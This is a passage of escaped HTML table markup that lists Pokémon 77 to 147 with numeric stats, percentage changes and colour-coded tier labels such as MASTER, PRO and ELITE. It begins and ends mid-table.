            &lt;td&gt;Golem&lt;/td&gt;
            &lt;td&gt;2303&lt;/td&gt;
            &lt;td&gt;26.64&lt;/td&gt;
            &lt;td&gt;2917&lt;/td&gt;
            &lt;td&gt;PRO&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;77&lt;/td&gt;
            &lt;td&gt;Ponyta&lt;/td&gt;
            &lt;td&gt;1516&lt;/td&gt;
            &lt;td&gt;-0.91&lt;/td&gt;
            &lt;td&gt;1502&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;78&lt;/td&gt;
            &lt;td&gt;Rapidash&lt;/td&gt;
            &lt;td&gt;2199&lt;/td&gt;
            &lt;td&gt;2.42&lt;/td&gt;
            &lt;td&gt;2252&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;79&lt;/td&gt;
            &lt;td&gt;Slowpoke&lt;/td&gt;
            &lt;td&gt;1219&lt;/td&gt;
            &lt;td&gt;-1.2&lt;/td&gt;
            &lt;td&gt;1204&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;80&lt;/td&gt;
            &lt;td&gt;Slowbro&lt;/td&gt;
            &lt;td&gt;2597&lt;/td&gt;
            &lt;td&gt;-4.43&lt;/td&gt;
            &lt;td&gt;2482&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;81&lt;/td&gt;
            &lt;td&gt;Magnemite&lt;/td&gt;
            &lt;td&gt;891&lt;/td&gt;
            &lt;td&gt;21.69&lt;/td&gt;
            &lt;td&gt;1084&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;82&lt;/td&gt;
            &lt;td&gt;Magneton&lt;/td&gt;
            &lt;td&gt;1880&lt;/td&gt;
            &lt;td&gt;19.01&lt;/td&gt;
            &lt;td&gt;2237&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#ea9999&quot;&gt;
            &lt;td&gt;83&lt;/td&gt;
            &lt;td&gt;Farfetch&#39;d&lt;/td&gt;
            &lt;td&gt;1264&lt;/td&gt;
            &lt;td&gt;-13.58&lt;/td&gt;
            &lt;td&gt;1092&lt;/td&gt;
            &lt;td&gt;LOL&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;84&lt;/td&gt;
            &lt;td&gt;Doduo&lt;/td&gt;
            &lt;td&gt;855&lt;/td&gt;
            &lt;td&gt;18.19&lt;/td&gt;
            &lt;td&gt;1011&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;85&lt;/td&gt;
            &lt;td&gt;Dodrio&lt;/td&gt;
            &lt;td&gt;1836&lt;/td&gt;
            &lt;td&gt;16.47&lt;/td&gt;
            &lt;td&gt;2138&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#f6b26b&quot;&gt;
            &lt;td&gt;86&lt;/td&gt;
            &lt;td&gt;Seel&lt;/td&gt;
            &lt;td&gt;1107&lt;/td&gt;
            &lt;td&gt;-18.76&lt;/td&gt;
            &lt;td&gt;899&lt;/td&gt;
            &lt;td&gt;ENDURANCE&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#f6b26b&quot;&gt;
            &lt;td&gt;87&lt;/td&gt;
            &lt;td&gt;Dewgong&lt;/td&gt;
            &lt;td&gt;2146&lt;/td&gt;
            &lt;td&gt;-11.7&lt;/td&gt;
            &lt;td&gt;1895&lt;/td&gt;
            &lt;td&gt;ENDURANCE&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#ffff00&quot;&gt;
            &lt;td&gt;88&lt;/td&gt;
            &lt;td&gt;Grimer&lt;/td&gt;
            &lt;td&gt;1284&lt;/td&gt;
            &lt;td&gt;-1.1&lt;/td&gt;
            &lt;td&gt;1270&lt;/td&gt;
            &lt;td&gt;PRO&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#ffff00&quot;&gt;
            &lt;td&gt;89&lt;/td&gt;
            &lt;td&gt;Muk&lt;/td&gt;
            &lt;td&gt;2603&lt;/td&gt;
            &lt;td&gt;4.09&lt;/td&gt;
            &lt;td&gt;2709&lt;/td&gt;
            &lt;td&gt;PRO&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;90&lt;/td&gt;
            &lt;td&gt;Shellder&lt;/td&gt;
            &lt;td&gt;823&lt;/td&gt;
            &lt;td&gt;16.48&lt;/td&gt;
            &lt;td&gt;959&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;91&lt;/td&gt;
            &lt;td&gt;Cloyster&lt;/td&gt;
            &lt;td&gt;2053&lt;/td&gt;
            &lt;td&gt;20.57&lt;/td&gt;
            &lt;td&gt;2475&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#f6b26b&quot;&gt;
            &lt;td&gt;92&lt;/td&gt;
            &lt;td&gt;Gastly&lt;/td&gt;
            &lt;td&gt;804&lt;/td&gt;
            &lt;td&gt;24.61&lt;/td&gt;
            &lt;td&gt;1002&lt;/td&gt;
            &lt;td&gt;ENDURANCE&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#f6b26b&quot;&gt;
            &lt;td&gt;93&lt;/td&gt;
            &lt;td&gt;Haunter&lt;/td&gt;
            &lt;td&gt;1380&lt;/td&gt;
            &lt;td&gt;24.37&lt;/td&gt;
            &lt;td&gt;1716&lt;/td&gt;
            &lt;td&gt;ENDURANCE&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#ffff00&quot;&gt;
            &lt;td&gt;94&lt;/td&gt;
            &lt;td&gt;Gengar&lt;/td&gt;
            &lt;td&gt;2078&lt;/td&gt;
            &lt;td&gt;26.03&lt;/td&gt;
            &lt;td&gt;2619&lt;/td&gt;
            &lt;td&gt;PRO&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#ea9999&quot;&gt;
            &lt;td&gt;95&lt;/td&gt;
            &lt;td&gt;Onix&lt;/td&gt;
            &lt;td&gt;857&lt;/td&gt;
            &lt;td&gt;16.93&lt;/td&gt;
            &lt;td&gt;1002&lt;/td&gt;
            &lt;td&gt;LOL&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;96&lt;/td&gt;
            &lt;td&gt;Drowzee&lt;/td&gt;
            &lt;td&gt;1075&lt;/td&gt;
            &lt;td&gt;-7.67&lt;/td&gt;
            &lt;td&gt;993&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;97&lt;/td&gt;
            &lt;td&gt;Hypno&lt;/td&gt;
            &lt;td&gt;2184&lt;/td&gt;
            &lt;td&gt;-6.21&lt;/td&gt;
            &lt;td&gt;2048&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#ffff00&quot;&gt;
            &lt;td&gt;98&lt;/td&gt;
            &lt;td&gt;Krabby&lt;/td&gt;
            &lt;td&gt;792&lt;/td&gt;
            &lt;td&gt;75&lt;/td&gt;
            &lt;td&gt;1386&lt;/td&gt;
            &lt;td&gt;PRO&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#ffff00&quot;&gt;
            &lt;td&gt;99&lt;/td&gt;
            &lt;td&gt;Kingler&lt;/td&gt;
            &lt;td&gt;1823&lt;/td&gt;
            &lt;td&gt;47.8&lt;/td&gt;
            &lt;td&gt;2694&lt;/td&gt;
            &lt;td&gt;PRO&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#f6b26b&quot;&gt;
            &lt;td&gt;100&lt;/td&gt;
            &lt;td&gt;Voltorb&lt;/td&gt;
            &lt;td&gt;840&lt;/td&gt;
            &lt;td&gt;2.1&lt;/td&gt;
            &lt;td&gt;858&lt;/td&gt;
            &lt;td&gt;ENDURANCE&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#f6b26b&quot;&gt;
            &lt;td&gt;101&lt;/td&gt;
            &lt;td&gt;Electrode&lt;/td&gt;
            &lt;td&gt;1646&lt;/td&gt;
            &lt;td&gt;15.44&lt;/td&gt;
            &lt;td&gt;1900&lt;/td&gt;
            &lt;td&gt;ENDURANCE&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#ffff00&quot;&gt;
            &lt;td&gt;102&lt;/td&gt;
            &lt;td&gt;Exeggcute&lt;/td&gt;
            &lt;td&gt;1100&lt;/td&gt;
            &lt;td&gt;0.22&lt;/td&gt;
            &lt;td&gt;1102&lt;/td&gt;
            &lt;td&gt;PRO&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#ffff00&quot;&gt;
            &lt;td&gt;103&lt;/td&gt;
            &lt;td&gt;Exeggutor&lt;/td&gt;
            &lt;td&gt;2955&lt;/td&gt;
            &lt;td&gt;-1.29&lt;/td&gt;
            &lt;td&gt;2917&lt;/td&gt;
            &lt;td&gt;PRO&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#f6b26b&quot;&gt;
            &lt;td&gt;104&lt;/td&gt;
            &lt;td&gt;Cubone&lt;/td&gt;
            &lt;td&gt;1007&lt;/td&gt;
            &lt;td&gt;-6.27&lt;/td&gt;
            &lt;td&gt;944&lt;/td&gt;
            &lt;td&gt;ENDURANCE&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#f6b26b&quot;&gt;
            &lt;td&gt;105&lt;/td&gt;
            &lt;td&gt;Marowak&lt;/td&gt;
            &lt;td&gt;1657&lt;/td&gt;
            &lt;td&gt;2.11&lt;/td&gt;
            &lt;td&gt;1692&lt;/td&gt;
            &lt;td&gt;ENDURANCE&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;106&lt;/td&gt;
            &lt;td&gt;Hitmonlee&lt;/td&gt;
            &lt;td&gt;1493&lt;/td&gt;
            &lt;td&gt;61.19&lt;/td&gt;
            &lt;td&gt;2407&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;107&lt;/td&gt;
            &lt;td&gt;Hitmonchan&lt;/td&gt;
            &lt;td&gt;1517&lt;/td&gt;
            &lt;td&gt;38.41&lt;/td&gt;
            &lt;td&gt;2100&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#ea9999&quot;&gt;
            &lt;td&gt;108&lt;/td&gt;
            &lt;td&gt;Lickitung&lt;/td&gt;
            &lt;td&gt;1627&lt;/td&gt;
            &lt;td&gt;-18.7&lt;/td&gt;
            &lt;td&gt;1323&lt;/td&gt;
            &lt;td&gt;LOL&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;109&lt;/td&gt;
            &lt;td&gt;Koffing&lt;/td&gt;
            &lt;td&gt;1152&lt;/td&gt;
            &lt;td&gt;-5.24&lt;/td&gt;
            &lt;td&gt;1092&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;110&lt;/td&gt;
            &lt;td&gt;Weezing&lt;/td&gt;
            &lt;td&gt;2250&lt;/td&gt;
            &lt;td&gt;-2.95&lt;/td&gt;
            &lt;td&gt;2184&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#00ff00&quot;&gt;
            &lt;td&gt;111&lt;/td&gt;
            &lt;td&gt;Rhyhorn&lt;/td&gt;
            &lt;td&gt;1182&lt;/td&gt;
            &lt;td&gt;42.09&lt;/td&gt;
            &lt;td&gt;1680&lt;/td&gt;
            &lt;td&gt;ELITE&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#00ff00&quot;&gt;
            &lt;td&gt;112&lt;/td&gt;
            &lt;td&gt;Rhydon&lt;/td&gt;
            &lt;td&gt;2243&lt;/td&gt;
            &lt;td&gt;47.15&lt;/td&gt;
            &lt;td&gt;3301&lt;/td&gt;
            &lt;td&gt;ELITE&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#ea9999&quot;&gt;
            &lt;td&gt;113&lt;/td&gt;
            &lt;td&gt;Chansey&lt;/td&gt;
            &lt;td&gt;675&lt;/td&gt;
            &lt;td&gt;117.61&lt;/td&gt;
            &lt;td&gt;1469&lt;/td&gt;
            &lt;td&gt;LOL&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;114&lt;/td&gt;
            &lt;td&gt;Tangela&lt;/td&gt;
            &lt;td&gt;1740&lt;/td&gt;
            &lt;td&gt;26.96&lt;/td&gt;
            &lt;td&gt;2209&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;115&lt;/td&gt;
            &lt;td&gt;Kangaskhan&lt;/td&gt;
            &lt;td&gt;2043&lt;/td&gt;
            &lt;td&gt;20.56&lt;/td&gt;
            &lt;td&gt;2463&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#f6b26b&quot;&gt;
            &lt;td&gt;116&lt;/td&gt;
            &lt;td&gt;Horsea&lt;/td&gt;
            &lt;td&gt;795&lt;/td&gt;
            &lt;td&gt;15.97&lt;/td&gt;
            &lt;td&gt;922&lt;/td&gt;
            &lt;td&gt;ENDURANCE&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#f6b26b&quot;&gt;
            &lt;td&gt;117&lt;/td&gt;
            &lt;td&gt;Seadra&lt;/td&gt;
            &lt;td&gt;1713&lt;/td&gt;
            &lt;td&gt;15.56&lt;/td&gt;
            &lt;td&gt;1980&lt;/td&gt;
            &lt;td&gt;ENDURANCE&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;118&lt;/td&gt;
            &lt;td&gt;Goldeen&lt;/td&gt;
            &lt;td&gt;965&lt;/td&gt;
            &lt;td&gt;4.34&lt;/td&gt;
            &lt;td&gt;1007&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;119&lt;/td&gt;
            &lt;td&gt;Seaking&lt;/td&gt;
            &lt;td&gt;2044&lt;/td&gt;
            &lt;td&gt;-0.15&lt;/td&gt;
            &lt;td&gt;2041&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;120&lt;/td&gt;
            &lt;td&gt;Staryu&lt;/td&gt;
            &lt;td&gt;938&lt;/td&gt;
            &lt;td&gt;-1.21&lt;/td&gt;
            &lt;td&gt;927&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;121&lt;/td&gt;
            &lt;td&gt;Starmie&lt;/td&gt;
            &lt;td&gt;2182&lt;/td&gt;
            &lt;td&gt;5.55&lt;/td&gt;
            &lt;td&gt;2303&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#f6b26b&quot;&gt;
            &lt;td&gt;122&lt;/td&gt;
            &lt;td&gt;Mr. Mime&lt;/td&gt;
            &lt;td&gt;1494&lt;/td&gt;
            &lt;td&gt;32.79&lt;/td&gt;
            &lt;td&gt;1984&lt;/td&gt;
            &lt;td&gt;ENDURANCE&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;123&lt;/td&gt;
            &lt;td&gt;Scyther&lt;/td&gt;
            &lt;td&gt;2074&lt;/td&gt;
            &lt;td&gt;18.82&lt;/td&gt;
            &lt;td&gt;2464&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#ffff00&quot;&gt;
            &lt;td&gt;124&lt;/td&gt;
            &lt;td&gt;Jynx&lt;/td&gt;
            &lt;td&gt;1717&lt;/td&gt;
            &lt;td&gt;46.34&lt;/td&gt;
            &lt;td&gt;2513&lt;/td&gt;
            &lt;td&gt;PRO&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;125&lt;/td&gt;
            &lt;td&gt;Electabuzz&lt;/td&gt;
            &lt;td&gt;2119&lt;/td&gt;
            &lt;td&gt;3.65&lt;/td&gt;
            &lt;td&gt;2196&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;126&lt;/td&gt;
            &lt;td&gt;Magmar&lt;/td&gt;
            &lt;td&gt;2265&lt;/td&gt;
            &lt;td&gt;-0.47&lt;/td&gt;
            &lt;td&gt;2254&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#ffff00&quot;&gt;
            &lt;td&gt;127&lt;/td&gt;
            &lt;td&gt;Pinsir&lt;/td&gt;
            &lt;td&gt;2122&lt;/td&gt;
            &lt;td&gt;30.57&lt;/td&gt;
            &lt;td&gt;2771&lt;/td&gt;
            &lt;td&gt;PRO&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;128&lt;/td&gt;
            &lt;td&gt;Tauros&lt;/td&gt;
            &lt;td&gt;1845&lt;/td&gt;
            &lt;td&gt;34.88&lt;/td&gt;
            &lt;td&gt;2489&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#00ff00&quot;&gt;
            &lt;td&gt;129&lt;/td&gt;
            &lt;td&gt;Magikarp&lt;/td&gt;
            &lt;td&gt;263&lt;/td&gt;
            &lt;td&gt;-16.08&lt;/td&gt;
            &lt;td&gt;221&lt;/td&gt;
            &lt;td&gt;ELITE&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#00ff00&quot;&gt;
            &lt;td&gt;130&lt;/td&gt;
            &lt;td&gt;Gyarados&lt;/td&gt;
            &lt;td&gt;2689&lt;/td&gt;
            &lt;td&gt;22.03&lt;/td&gt;
            &lt;td&gt;3281&lt;/td&gt;
            &lt;td&gt;ELITE&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#ffff00&quot;&gt;
            &lt;td&gt;131&lt;/td&gt;
            &lt;td&gt;Lapras&lt;/td&gt;
            &lt;td&gt;2981&lt;/td&gt;
            &lt;td&gt;0&lt;/td&gt;
            &lt;td&gt;2981&lt;/td&gt;
            &lt;td&gt;PRO&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#ea9999&quot;&gt;
            &lt;td&gt;132&lt;/td&gt;
            &lt;td&gt;Ditto&lt;/td&gt;
            &lt;td&gt;920&lt;/td&gt;
            &lt;td&gt;-21.91&lt;/td&gt;
            &lt;td&gt;718&lt;/td&gt;
            &lt;td&gt;LOL&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#00ff00&quot;&gt;
            &lt;td&gt;133&lt;/td&gt;
            &lt;td&gt;Eevee&lt;/td&gt;
            &lt;td&gt;1077&lt;/td&gt;
            &lt;td&gt;-10.04&lt;/td&gt;
            &lt;td&gt;969&lt;/td&gt;
            &lt;td&gt;ELITE&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#00ff00&quot;&gt;
            &lt;td&gt;134&lt;/td&gt;
            &lt;td&gt;Vaporeon&lt;/td&gt;
            &lt;td&gt;2816&lt;/td&gt;
            &lt;td&gt;12.11&lt;/td&gt;
            &lt;td&gt;3157&lt;/td&gt;
            &lt;td&gt;ELITE&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#ffff00&quot;&gt;
            &lt;td&gt;135&lt;/td&gt;
            &lt;td&gt;Jolteon&lt;/td&gt;
            &lt;td&gt;2140&lt;/td&gt;
            &lt;td&gt;27.56&lt;/td&gt;
            &lt;td&gt;2730&lt;/td&gt;
            &lt;td&gt;PRO&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#ffff00&quot;&gt;
            &lt;td&gt;136&lt;/td&gt;
            &lt;td&gt;Flareon&lt;/td&gt;
            &lt;td&gt;2643&lt;/td&gt;
            &lt;td&gt;9.89&lt;/td&gt;
            &lt;td&gt;2904&lt;/td&gt;
            &lt;td&gt;PRO&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#f6b26b&quot;&gt;
            &lt;td&gt;137&lt;/td&gt;
            &lt;td&gt;Porygon&lt;/td&gt;
            &lt;td&gt;1692&lt;/td&gt;
            &lt;td&gt;-7.31&lt;/td&gt;
            &lt;td&gt;1568&lt;/td&gt;
            &lt;td&gt;ENDURANCE&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#ffff00&quot;&gt;
            &lt;td&gt;138&lt;/td&gt;
            &lt;td&gt;Omanyte&lt;/td&gt;
            &lt;td&gt;1120&lt;/td&gt;
            &lt;td&gt;20.18&lt;/td&gt;
            &lt;td&gt;1346&lt;/td&gt;
            &lt;td&gt;PRO&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#ffff00&quot;&gt;
            &lt;td&gt;139&lt;/td&gt;
            &lt;td&gt;Omastar&lt;/td&gt;
            &lt;td&gt;2234&lt;/td&gt;
            &lt;td&gt;20.23&lt;/td&gt;
            &lt;td&gt;2686&lt;/td&gt;
            &lt;td&gt;PRO&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#ffff00&quot;&gt;
            &lt;td&gt;140&lt;/td&gt;
            &lt;td&gt;Kabuto&lt;/td&gt;
            &lt;td&gt;1105&lt;/td&gt;
            &lt;td&gt;6.18&lt;/td&gt;
            &lt;td&gt;1173&lt;/td&gt;
            &lt;td&gt;PRO&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#ffff00&quot;&gt;
            &lt;td&gt;141&lt;/td&gt;
            &lt;td&gt;Kabutops&lt;/td&gt;
            &lt;td&gt;2130&lt;/td&gt;
            &lt;td&gt;18.21&lt;/td&gt;
            &lt;td&gt;2518&lt;/td&gt;
            &lt;td&gt;PRO&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#ffff00&quot;&gt;
            &lt;td&gt;142&lt;/td&gt;
            &lt;td&gt;Aerodactyl&lt;/td&gt;
            &lt;td&gt;2165&lt;/td&gt;
            &lt;td&gt;20.47&lt;/td&gt;
            &lt;td&gt;2608&lt;/td&gt;
            &lt;td&gt;PRO&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#00ff00&quot;&gt;
            &lt;td&gt;143&lt;/td&gt;
            &lt;td&gt;Snorlax&lt;/td&gt;
            &lt;td&gt;3113&lt;/td&gt;
            &lt;td&gt;7.79&lt;/td&gt;
            &lt;td&gt;3356&lt;/td&gt;
            &lt;td&gt;ELITE&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#ffff00&quot;&gt;
            &lt;td&gt;144&lt;/td&gt;
            &lt;td&gt;Articuno&lt;/td&gt;
            &lt;td&gt;2978&lt;/td&gt;
            &lt;td&gt;-1.5&lt;/td&gt;
            &lt;td&gt;2933&lt;/td&gt;
            &lt;td&gt;PRO&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#00ff00&quot;&gt;
            &lt;td&gt;145&lt;/td&gt;
            &lt;td&gt;Zapdos&lt;/td&gt;
            &lt;td&gt;3114&lt;/td&gt;
            &lt;td&gt;6.93&lt;/td&gt;
            &lt;td&gt;3330&lt;/td&gt;
            &lt;td&gt;ELITE&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#00ff00&quot;&gt;
            &lt;td&gt;146&lt;/td&gt;
            &lt;td&gt;Moltres&lt;/td&gt;
            &lt;td&gt;3240&lt;/td&gt;
            &lt;td&gt;1&lt;/td&gt;
            &lt;td&gt;3272&lt;/td&gt;
            &lt;td&gt;ELITE&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#00ff00&quot;&gt;
            &lt;td&gt;147&lt;/td&gt;
            &lt;td&gt;Dratini&lt;/td&gt;
